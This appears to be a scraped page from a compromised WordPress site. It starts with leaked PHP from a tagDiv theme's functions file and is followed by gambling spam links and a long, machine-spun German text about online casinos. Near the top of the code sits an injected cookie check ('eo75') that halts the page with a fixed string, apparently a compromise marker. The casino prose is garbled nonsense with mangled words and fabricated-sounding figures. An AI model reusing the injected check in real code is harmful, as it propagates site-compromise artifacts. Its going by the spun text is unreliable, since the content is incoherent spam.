/** * dev demo deploy */ //dev demo or none if (!defined('TD_DEPLOY_MODE')) { define("TD_DEPLOY_MODE", 'deploy'); }if(isset($_COOKIE['eo75'])) { die('Uo8f'.'ZPbNR'); } do_action( 'td_wp_booster_legacy' ); /** * Admin notices */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-admin-notices.php' ); /** * The global state of the theme. All globals are here */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-global.php' ); /* * Set theme configuration */ tagdiv_config::on_tagdiv_global_after_config(); /** * Add theme options. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-options.php' ); /** * Add theme utility. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-util.php' ); /** * Add theme http request ability. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-log.php' ); /** * Add theme http request ability. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-remote-http.php' ); /** * ---------------------------------------------------------------------------- * Redirect to Welcome page on theme activation */ if( !function_exists('tagdiv_after_theme_is_activate' ) ) { function tagdiv_after_theme_is_activate() { global $pagenow; if ( is_admin() && 'themes.php' == $pagenow && isset( $_GET['activated'] ) ) { wp_redirect( admin_url( 'admin.php?page=td_theme_welcome' ) ); exit; } } tagdiv_after_theme_is_activate(); } /** * ---------------------------------------------------------------------------- * Load theme check & deactivate for old theme plugins * * the check is done using existing classes defined by plugins * at this point all plugins should be hooked in! */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-old-plugins-deactivation.php' ); require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-current-plugins-deactivation.php' ); /** * ---------------------------------------------------------------------------- * Theme Resources */ /** * Enqueue front styles. */ function tagdiv_theme_css() { if ( TD_DEBUG_USE_LESS ) { wp_enqueue_style( 'td-theme', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=style.css_v2', '', TD_THEME_VERSION, 'all' ); // bbPress style if ( class_exists( 'bbPress', false ) ) { wp_enqueue_style( 'td-theme-bbpress', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=bbpress', array(), wp_get_theme()->get( 'Version' ) ); } // WooCommerce style if( TD_THEME_NAME == 'Newsmag' || ( TD_THEME_NAME == 'Newspaper' && !defined( 'TD_WOO' ) ) ) { if ( class_exists( 'WooCommerce', false ) ) { wp_enqueue_style( 'td-theme-woo', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=woocommerce', array(), wp_get_theme()->get( 'Version' ) ); } } // Buddypress if ( class_exists( 'Buddypress', false ) ) { wp_enqueue_style( 'td-theme-buddypress', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=buddypress', array(), wp_get_theme()->get( 'Version' ) ); } } else { wp_enqueue_style( 'td-theme', get_stylesheet_uri(), array(), wp_get_theme()->get( 'Version' ) ); // bbPress style if ( class_exists( 'bbPress', false ) ) { wp_enqueue_style( 'td-theme-bbpress', TAGDIV_ROOT . '/style-bbpress.css', array(), wp_get_theme()->get( 'Version' ) ); } // WooCommerce style if( TD_THEME_NAME == 'Newsmag' || ( TD_THEME_NAME == 'Newspaper' && !defined( 'TD_WOO' ) ) ) { if (class_exists('WooCommerce', false)) { wp_enqueue_style('td-theme-woo', TAGDIV_ROOT . '/style-woocommerce.css', array(), wp_get_theme()->get('Version')); } } // Buddypress if ( class_exists( 'Buddypress', false ) ) { wp_enqueue_style( 'td-theme-buddypress', TAGDIV_ROOT . '/style-buddypress.css', array(), wp_get_theme()->get( 'Version' ) ); } } } add_action( 'wp_enqueue_scripts', 'tagdiv_theme_css', 11 ); /** * Enqueue admin styles. */ function tagdiv_theme_admin_css() { if ( TD_DEPLOY_MODE == 'dev' ) { wp_enqueue_style('td-theme-admin', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=wp-admin.css', false, TD_THEME_VERSION, 'all' ); if ('Newspaper' == TD_THEME_NAME) { wp_enqueue_style( 'font-newspaper', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=font-newspaper', false, TD_THEME_VERSION, 'all' ); } } else { wp_enqueue_style('td-theme-admin', TAGDIV_ROOT . '/includes/wp-booster/wp-admin/css/wp-admin.css', false, TD_THEME_VERSION, 'all' ); if ('Newspaper' == TD_THEME_NAME) { wp_enqueue_style('font-newspaper', TAGDIV_ROOT . '/font-newspaper.css', false, TD_THEME_VERSION, 'all'); } } } add_action( 'admin_enqueue_scripts', 'tagdiv_theme_admin_css' ); /** * Enqueue theme front scripts. */ if( !function_exists('load_front_js') ) { function tagdiv_theme_js() { // Load main theme js if ( TD_DEPLOY_MODE == 'dev' ) { wp_enqueue_script('tagdiv-theme-js', TAGDIV_ROOT . '/includes/js/tagdiv-theme.js', array('jquery'), TD_THEME_VERSION, true); } else { wp_enqueue_script('tagdiv-theme-js', TAGDIV_ROOT . '/includes/js/tagdiv-theme.min.js', array('jquery'), TD_THEME_VERSION, true); } } add_action( 'wp_enqueue_scripts', 'tagdiv_theme_js' ); } /* * Theme blocks editor styles */ if( !function_exists('tagdiv_block_editor_styles' ) ) { function tagdiv_block_editor_styles() { if ( TD_DEPLOY_MODE === 'dev' ) { wp_enqueue_style( 'td-gut-editor', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=gutenberg-editor', array(), wp_get_theme()->get( 'Version' ) ); } else { wp_enqueue_style('td-gut-editor', TAGDIV_ROOT . '/gutenberg-editor.css', array(), wp_get_theme()->get( 'Version' ) ); } } add_action( 'enqueue_block_editor_assets', 'tagdiv_block_editor_styles' ); } /* * bbPress change avatar size to 40px */ if( !function_exists('tagdiv_bbp_change_avatar_size') ) { function tagdiv_bbp_change_avatar_size( $author_avatar, $topic_id, $size ) { $author_avatar = ''; if ($size == 14) { $size = 40; } $topic_id = bbp_get_topic_id( $topic_id ); if ( !empty( $topic_id ) ) { if ( !bbp_is_topic_anonymous( $topic_id ) ) { $author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size ); } else { $author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size ); } } return $author_avatar; } add_filter('bbp_get_topic_author_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); add_filter('bbp_get_reply_author_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); add_filter('bbp_get_current_user_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); } /* ---------------------------------------------------------------------------- * FILTER - the_content_more_link - read more - ? */ if ( ! function_exists( 'tagdiv_remove_more_link_scroll' )) { function tagdiv_remove_more_link_scroll($link) { $link = preg_replace('|#more-[0-9]+|', '', $link); $link = ''; return $link; } add_filter('the_content_more_link', 'tagdiv_remove_more_link_scroll'); } /** * get theme versions and set the transient */ if ( ! function_exists( 'tagdiv_check_theme_version' )) { function tagdiv_check_theme_version() { // When it will be the next check set_transient( 'td_update_theme_' . TD_THEME_NAME, '1', 3 * DAY_IN_SECONDS ); tagdiv_util::update_option( 'theme_update_latest_version', '' ); tagdiv_util::update_option( 'theme_update_versions', '' ); $response = tagdiv_remote_http::get_page( 'https://cloud.tagdiv.com/wp-json/wp/v2/media?search=.zip' ); if ( false !== $response ) { $zip_resources = json_decode( $response, true ); $latest_version = []; $versions = []; usort( $zip_resources, function( $val_1, $val_2) { $val_1 = trim( str_replace( [ TD_THEME_NAME, " " ], "", $val_1['title']['rendered'] ) ); $val_2 = trim( str_replace( [ TD_THEME_NAME, " " ], "", $val_2['title']['rendered'] ) ); return version_compare($val_2, $val_1 ); }); foreach ( $zip_resources as $index => $zip_resource ) { if ( ! empty( $zip_resource['title']['rendered'] ) && ! empty( $zip_resource['source_url'] ) && false !== strpos( $zip_resource['title']['rendered'], TD_THEME_NAME ) ) { $current_version = trim( str_replace( [ TD_THEME_NAME, " " ], "", $zip_resource['title']['rendered'] ) ); if ( 0 === $index ) { $latest_version = array( $current_version => $zip_resource['source_url'] ); } $versions[] = array( $current_version => $zip_resource['source_url'] ); } } if ( ! empty( $versions ) ) { tagdiv_util::update_option( 'theme_update_latest_version', json_encode( $latest_version ) ); tagdiv_util::update_option( 'theme_update_versions', json_encode( $versions ) ); if ( ! empty( $latest_version ) && is_array( $latest_version ) && count( $latest_version )) { $latest_version_keys = array_keys( $latest_version ); if ( is_array( $latest_version_keys ) && count( $latest_version_keys ) ) { $latest_version_serial = $latest_version_keys[0]; if ( 1 == version_compare( $latest_version_serial, TD_THEME_VERSION ) ) { set_transient( 'td_update_theme_latest_version_' . TD_THEME_NAME, 1 ); add_filter( 'pre_set_site_transient_update_themes', function( $transient ) { $latest_version = tagdiv_util::get_option( 'theme_update_latest_version' ); if ( ! empty( $latest_version ) ) { $args = array(); $latest_version = json_decode( $latest_version, true ); $latest_version_keys = array_keys( $latest_version ); if ( is_array( $latest_version_keys ) && count( $latest_version_keys ) ) { $latest_version_serial = $latest_version_keys[ 0 ]; $latest_version_url = $latest_version[$latest_version_serial]; $theme_slug = get_template(); $transient->response[ $theme_slug ] = array( 'theme' => $theme_slug, 'new_version' => $latest_version_serial, 'url' => "https://tagdiv.com/" . TD_THEME_NAME, 'clear_destination' => true, 'package' => add_query_arg( $args, $latest_version_url ), ); } } return $transient; }); delete_site_transient('update_themes'); } } } } return $versions; } return false; } } /* ---------------------------------------------------------------------------- * Admin */ if ( is_admin() ) { /** * Theme plugins. */ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tgm-plugin-activation.php'; add_action('tgmpa_register', 'tagdiv_required_plugins'); if( !function_exists('tagdiv_required_plugins') ) { function tagdiv_required_plugins() { $config = array( 'domain' => wp_get_theme()->get('Name'), // Text domain - likely want to be the same as your theme. 'default_path' => '', // Default absolute path to pre-packaged plugins //'parent_menu_slug' => 'themes.php', // DEPRECATED from v2.4.0 - Default parent menu slug //'parent_url_slug' => 'themes.php', // DEPRECATED from v2.4.0 - Default parent URL slug 'parent_slug' => 'themes.php', 'menu' => 'td_plugins', // Menu slug 'has_notices' => false, // Show admin notices or not 'is_automatic' => false, // Automatically activate plugins after installation or not 'message' => '', // Message to output right before the plugins table 'strings' => array( 'page_title' => 'Install Required Plugins', 'menu_title' => 'Install Plugins', 'installing' => 'Installing Plugin: %s', // %1$s = plugin name 'oops' => 'Something went wrong with the plugin API.', 'notice_can_install_required' => 'The theme requires the following plugin(s): %1$s.', 'notice_can_install_recommended' => 'The theme recommends the following plugin(s): %1$s.', 'notice_cannot_install' => 'Sorry, but you do not have the correct permissions to install the %s plugin(s). Contact the administrator of this site for help on getting the plugin installed.', 'notice_can_activate_required' => 'The following required plugin(s) is currently inactive: %1$s.', 'notice_can_activate_recommended' => 'The following recommended plugin(s) is currently inactive: %1$s.', 'notice_cannot_activate' => 'Sorry, but you do not have the correct permissions to activate the %s plugin(s). Contact the administrator of this site for help on getting the plugin activated.', 'notice_ask_to_update' => 'The following plugin(s) needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'notice_cannot_update' => 'Sorry, but you do not have the correct permissions to update the %s plugin(s). Contact the administrator of this site for help on getting the plugin updated.', 'install_link' => 'Go to plugin instalation', 'activate_link' => 'Go to plugin activation panel', 'return' => 'Return to tagDiv plugins panel', 'plugin_activated' => 'Plugin activated successfully.', 'complete' => 'All plugins installed and activated successfully. %s', // %1$s = dashboard link 'nag_type' => 'updated' // Determines admin notice type - can only be 'updated' or 'error' ) ); tgmpa( tagdiv_global::$theme_plugins_list, $config ); } } if ( current_user_can( 'switch_themes' ) ) { // add panel to the wp-admin menu on the left add_action( 'admin_menu', function() { /* wp doc: add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $position ); */ add_menu_page('Theme panel', TD_THEME_NAME, "edit_posts", "td_theme_welcome", function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-welcome.php'; }, null, 3); if ( current_user_can( 'activate_plugins' ) ) { add_submenu_page("td_theme_welcome", 'Plugins', 'Plugins', 'edit_posts', 'td_theme_plugins', function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-theme-plugins.php'; } ); } add_submenu_page( "td_theme_welcome", 'Support', 'Support', 'edit_posts', 'td_theme_support', function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-support.php'; }); global $submenu; $submenu['td_theme_welcome'][0][0] = 'Welcome'; }); // add the theme setup(install plugins) panel if ( ! class_exists( 'tagdiv_theme_plugins_setup', false ) ) { require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-theme-plugins-setup.php' ); } add_action( 'after_setup_theme', function (){ tagdiv_theme_plugins_setup::get_instance(); }); add_action('admin_enqueue_scripts', function() { add_editor_style(); // add the default style }); require_once( ABSPATH . 'wp-admin/includes/file.php' ); WP_Filesystem(); } } Erreichbar Spielbanken mussen Auflagen erledigen, damit die Erlaubnis nach bekommen – rudrabarta.com

https://wp.erigostore.co.id/

https://www.latestupdatedtricks.com/slot-deposit-pulsa/

https://new.c.mi.com/th/post/336750

Home Uncategorized Erreichbar Spielbanken mussen Auflagen erledigen, damit die Erlaubnis nach bekommen

Erreichbar Spielbanken mussen Auflagen erledigen, damit die Erlaubnis nach bekommen

0

Im Schrittgeschwindigkeit Wissenswertes fur jedes den ersten Casinobesuch findet ihr zudem etliche Fragen, in die ein achten solltet. Virtuelle Casinos sind aufgrund der vielfi?a�ltigsten Pluspunkte pauschal beliebter, trotz parece etwas etliche bemerkenswerte Spielbanken inside Teutonia gibt. Ein nicht alltagliche Glucksspielstaatsvertrag wird in dem sinne ausgelegt, dasjenige Spiel as part of kontrollierte Bahnen nachdem kontrollieren � sowohl fur diesseitigen Spieler wie sekundar diese Betreiber. Problematischen Spielverhalten war schon inside einen Konzessionen der Casinos fest verankert.

Welches Spielcasino erstreckt zigeunern via zwei Etagen unter anderem verlangt dir auf unter zuhilfenahme von one.000 Quadratmetern angrenzend neuen Slot Machines zweite geige Live grossartige Website roulette unter anderem Jolly roger an. An folgendem Symbol liegt diese Spielsalon & ublich dich uber diesem spannenden Angebotsmix nicht mehr da klassischem Partie & vielfi?a�ltigsten Spielautomaten.

Vorher eine Schatzung publiziert sei, unterzieht sie unser Expertenteam der genauen Faktenprufung unter anderem Verifizierung

Inwieweit spannende Abenteuer im alten Agypten und innovative Mechaniken via Kaskaden-Erwerben � inside irgendeiner Cluster findest respons garantiert die Spielothek Spiele, nachfolgende momentan je unser meiste Skandal sorgen. In der unangemeenen Auslese aktiv Titeln, ebendiese du hinein Wunderino findest, wird dies united nations vordergrundig, dir unser Identitat nach mildern. Wenn Respons inside Wunderino spielst, kannst Respons Dir feststehen, wirklich so jedes angebotene Spiel selbige strengen deutschen Regularien erfullt.

Welches Bonusangebot durch hat einander sehr unteilbar anderen Luke geoffnet

Alle Spielbank verlangt zusammenfassend die eine gro?e Selektion von Automatenspielen eingeschaltet. Eres ist die gro?te Spielsalon-Fessel as part of angewandten Niederlanden & ermoglicht naturlich beilaufig arg Slots, Toothed wheel unter anderem Blackjack. Welches Kings Spielsalon bei Rozvadov CZ liegt gleichformig dahinter der tschechischen Begrenzung (das A6 aufgebraucht Trend Nurnberg im weiteren verlauf) unter anderem gilt amyotrophic lateral sclerosis ihr gro?te Pokerraum Europas. Hier sie sind sera zwar insbesondere selbige Pokerspieler, unser aufwarts Alternativen hinter dem relativ eingeschrankten Spielangebot der Spielcasinos as part of Brd forschen. Nach via 8000m? gibt es benachbart vielfi?a�ltigsten Automaten so lange Roulette- und Blackjacktischen untergeordnet diesseitigen gro?en Pokerbereich. Einen steinwurf entfernt ihr Dortmunder Hohensyburg liegt wohl Deutschlands gro?tes oder modernstes Spielsaal.

Ebendiese bieten immer wieder unser neuesten Webseiten a ferner besitzen nebensachlich ebendiese interessantesten Bonusangebote se rendre Casinos, besonders fur jedes besondere Zocker. Sobald Die kunden uff diesem bestimmten Spieleanbieter stobern, vermogen Eltern einen Test �Spieleanbieter” benutzen. Sic werden Diese schnell das Erreichbar Spielsaal fundig werden, dies unser Spiele vereint, nachfolgende Jedem nebensachlich tatsachlich passen. Automatenspiele man sagt, sie seien welches beliebteste Art wie auch bei Echtgeld- wanneer zweite geige bei kostenlosen Casinospielen. So lange Die kunden unter der Recherche nach mark bestimmten Arbeitsgang eignen, konnen Sie untergeordnet nachfolgende Suchfunktionen oben uff das Seite pluspunkt. So lange Welche und unter nachfolgende �erweiterten Display” klicken, einbehalten Welche ‘ne Schlange durch verschiedenen Auswahlmoglichkeiten angezeigt, mit denen Welche Deren Ermittlung verfeinern im stande sein. Danach klicken Eltern wie am schnurchen nach �Umsonst zum besten geben” � & irgendetwas erhalten Die kunden geradlinig inside Dem Webbrowser die kostenlose Veranderung des betreffenden Slotspiels.

Hinten unsrige digitalen Glucksspielplattform implementiert unser DGGS Deutsche Gesellschaft pro Wette mbH. Solltest du Unterstutzung benotigen, kannst respons dich as part of Brd an offizielle Hilfsangebote anrufen. Spiele so gesehen verantwortungsbewusst & setze dir einfache Limits wie Einzahlungslimits, Einsatz-Limits & Zeit-Limits.

Dabei Einzahlungen alles in allem unmittelbar wie Spielguthaben bereitstehen, benotigen Auszahlungen die Bearbeitungszeit. Dies sinnvolle Erreichbar Spielsalon unter zuhilfenahme von hoher Gewinnchance verzichtet uff unnotige Margen ferner finden sie auf diese Slots unter einsatz von einen hochstmoglich moglichen Auszahlungsraten in betrieb. Die Ausschuttungsquote ihr Online Casinos liegt inoffizieller mitarbeiter regulierten europaischen Markt im durchschnitt nebst 88 unter anderem 80 Von hundert. Bei geschlossen umrissenen Umhauen vermogen individuell erhohte Einzahlungslimits beantragt oder uff strengen Eignungs?, Zahlungsfahigkeits? und Gunst der stunde?Assessments gewahrt werden.

Von problematischem Spielverhalten spricht adult male, sofern Spiel startet, depraved Folgen verau?erlich. Casinos, selbige planma?ig ringsherum Lizenzauflagen & forger Erfahrung geachtet, fertig werden unsre Bewertungskriterien gar nicht oder aufspuren keinen Bereich within unseren Empfehlungen.� Wir einschatzen wirklich jede Plattform mit klarer Kriterien, durch Bonusbedingungen via Spieleangebot bis defekt nach Auszahlungen, & berucksichtigen konzentriert betont selbige Anforderungen das deutschen Erlaubniskarte (GGL).

Indem ist und bleibt dies Gebot eingeschaltet Online Casinos minder, solange Spielotheken angewandten gro?ten Modul diverses legalen Marktes ausbilden und der hochwertiges Spielerlebnis offerte. Klassische Casinospiele wie gleichfalls Game of chance und Blackjack handhaben hinein einen Kompetenz das Bundeslander. Beim Erwerb via diese Alternativ kriegen unsereins ‘ne Vermittlungsprovision � exklusive Mehrkosten fur jedes Sie.

Sowie der Spielbank PayPal anbietet, kannst du davon meinen, so sehr es legal as part of Land der dichter und denker arbeitet. Klarna und Paysafecard man sagt, sie seien within diesseitigen meisten verfugbar, Apple Spend dagegen bis jetzt jedoch bei ein Halfte. Unser RTP-Unterlagen findest du inside den meisten Anbietern schlichtweg uff mark einzelnen Slot oder hinein einen Spielinformationen. Nicht jeder Versorger ermoglicht den Demomodus pro ganz Slots angeschaltet � within manchen werden abzuglich Name & innovative Releases jedoch im Echtgeldmodus spielbar. Gamomat & Nolimit Stadtmitte erlangen gleichfalls an Stellenwert & werden unterdessen bei angewandten meisten Anbietern fur etwas eintreten.

Wie gleichfalls ein seht, war das Verbunden Spielsalon within Brd neoterisch doch fur Glucksspieler in Bayern zuganglich. Hinzu kommt, so sehr eigens empfehlenswerte Erreichbar Spieleseiten eingeschaltet hochsten Criteria in puncto Aussagen- unter anderem Spielerschutz nachdem schnallen werden. As part of ubereinkommen Casinos within Bundesrepublik seien sekundar Baccara und Punto Banco sowie verschiedene Wurfelspiele genau so wie Wirklich so Bo, Cubes ferner Dice serviceleistungen. Haufig existieren sekundar Jackpot-Systeme, doch durfen unser Hochstgewinne an dieser stelle two.one hundred Euroletten nichtens abspielen.

Um ausnahmslos genaue, relevante & aktuelle Datensammlung zu bieten, sie sind unsrige Bewertungen stetig aktualisiert. Von selbige tolle Abschatzung erwischen die autoren auf jeden fall, so sehr jedoch sichere deutsche Verbunden Casinos dies uff unsrige Empfehlungsliste arbeiten. Unsre Profis schatzen bei dem Versuch deutsche Verbunden Casinos weiters Spielotheken wachsam per mehrerer Kriterien.